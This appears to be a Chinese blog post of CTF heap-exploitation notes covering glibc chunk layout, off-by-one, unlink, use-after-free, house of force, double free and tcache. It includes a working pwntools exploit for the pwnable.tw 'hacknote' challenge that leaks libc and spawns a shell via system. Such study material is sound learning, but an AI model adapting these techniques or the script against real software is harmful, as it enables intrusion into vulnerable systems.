堆题总结

堆题总结

堆基础总结

# 堆数据结构

1
2
3
4
5
6
7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <-- chunk 
| prev_size | size |A|M|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| user data (fd) | (bk) |
| |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <-- next chunk

# Off By One

# 漏洞原理

使用循环语句向堆块中写入数据时,循环次数设置错误导致多写入了一个字节

# 利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法

  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。

    (1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。

    (2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与 prev_size 是否一致。

# Large bin

当 large bin 中只存在一个 chunk 时,那么该 chunk 的两个 nextsize 指针都会指向自己

unlink 过程如下图所示,主要实现堆块合并

img

对于 unlink (P,BK,FD) 函数本质是赋值

1
2
3
4
5
6
unlink(P,BK,FD){
FD = P -> fd;
BK = p -> bk;
FD -> bk = BK;
BK -> fd = fd;
}

堆块结构 FD = *(p-0x10),0x10 是由 fd 指针在堆块的位置决定的,具体利用过程

1
2
*(P->fd+0x18) = *(P->bk)
*(P->bk+0x10) = *(P->fd)

# UAF

# 漏洞原理

申请任意大小的堆块并在删除时未清空指针数组(即没有设置为 NUL),导致悬空指针从而产生 UAF

# 利用思路

例题: pwnable.tw - hacknote

解题思路:

通过 UAF 调用一个存在于堆块,并且被一系列对操作篡改的函数指针控制流劫持从而 getshell

具体参考文章

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.log_level = 'debug'
libc = ELF('./libc_32.so.6')
# io = process('./hacknote')
io = remote('chall.pwnable.tw',10102)

def add(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def delete(num):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(num))
def show(num):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(num))

add(64,'a')
add(32,'a')
delete(0)
add(64,'b')
show(2) //unsortbin泄露libc地址

libc_base = u32(io.recv(8)[4:8])-0x1b07b0
system_addr = libc_base+libc.symbols['system']

delete(0)
delete(1)

add(8,p32(system_addr)+";sh\x00")

show(0)

io.interactive()

# house of force

# 利用前提

  • 能够控制 top chunk 的 size 域(如堆溢出)
  • 能够自由控制堆分配 size 大小,如申请负数的堆

向上申请 chunk 实现任意地址写

# 例题 bamboobox

修改长度可以覆盖到 top chunk 的 size 位置从而修改 top chunk size= -1, 因为 size 为无符号数,-1 被解释为 0xffffff。

利用 house of force 将 top chunk 位置放在 heap base,可以是 got 表地址也可以是分配的堆块地址。

再申请一个 0x10 堆块去修改函数指针为指定地址。

# Double Free

# 漏洞原理

free 了两次堆块,在 glibc 中的检查如下:

img

检查 main_arean 是否指向了原来的一个 chunk, 绕过只需要

free (p1);free (p2);free (p1),改写 fdd 指针一般执行 add 函数,然后连续 free 出 chunk2,chunk1 和构造的 fake_chunk(这个 chunk 的地址在 got 表上),对 got 表进行一个覆写,将 puts 函数 got 表改写成 magic 函数的地址。

# 利用思路

img

malloc 出一个 chunk1,更改 chunk1 的 fd,又由于此时 chunk1 在 fastbin list,因此可以指向一个 fakebin 实现任意地址写

img

# Off by null && Tcache && Overlap

  • off-by-null: 利用改写将 pre_issue 位改成 \x00 然后导致前面一个堆块莫名其妙的就 free 了(当然不是真的莫名其妙,详细请看堆块结构和记录,简单的说就是 pre_issue 是位了记录前一个堆块 free or use 情况的)。接着就是利用堆块合并,获得一个 free 的但是其实并没有 free 的堆块,这就是 overlap。整个过程其实说明了,off-by-null 可以触发 overlap,并且还是 powerful 的,可以用来泄漏地址。也可以用来修改 fd

    strcpy 字符串函数:复制时,遇到结束符 \x00 才会停止复制。复制结束后,会在最后写入一个结束符 \x00

    Pasted image 20210923152332.png

    strlen: j 不将’\x00’结束符计入字符串长度

  • tcache: 这个机制和 fastbin 很像,但是为了效率会比 fastbin 少很多检查。并且堆块都会在 tacahe 走一遍再出来给我们使用,有一些特殊情况不会比如合并了的 unsortedbin。他总共有 7 个,满了才会用其他的类别的 chunk。对 double free 的检查基本没有。

例题:HITCON_2018_children_tcache

待补充 ing…

# 参考文章

https://trick.ink/article/Heap_Learn/

https://blog.csdn.net/m0_56897090/article/details/120510003

https://www.freebuf.com/system/171261.html

https://xz.aliyun.com/t/4324#toc-15

Author

y1seco

Posted on

2022-01-27

Updated on

2022-01-27

Licensed under

Comments

:D 一言句子获取中...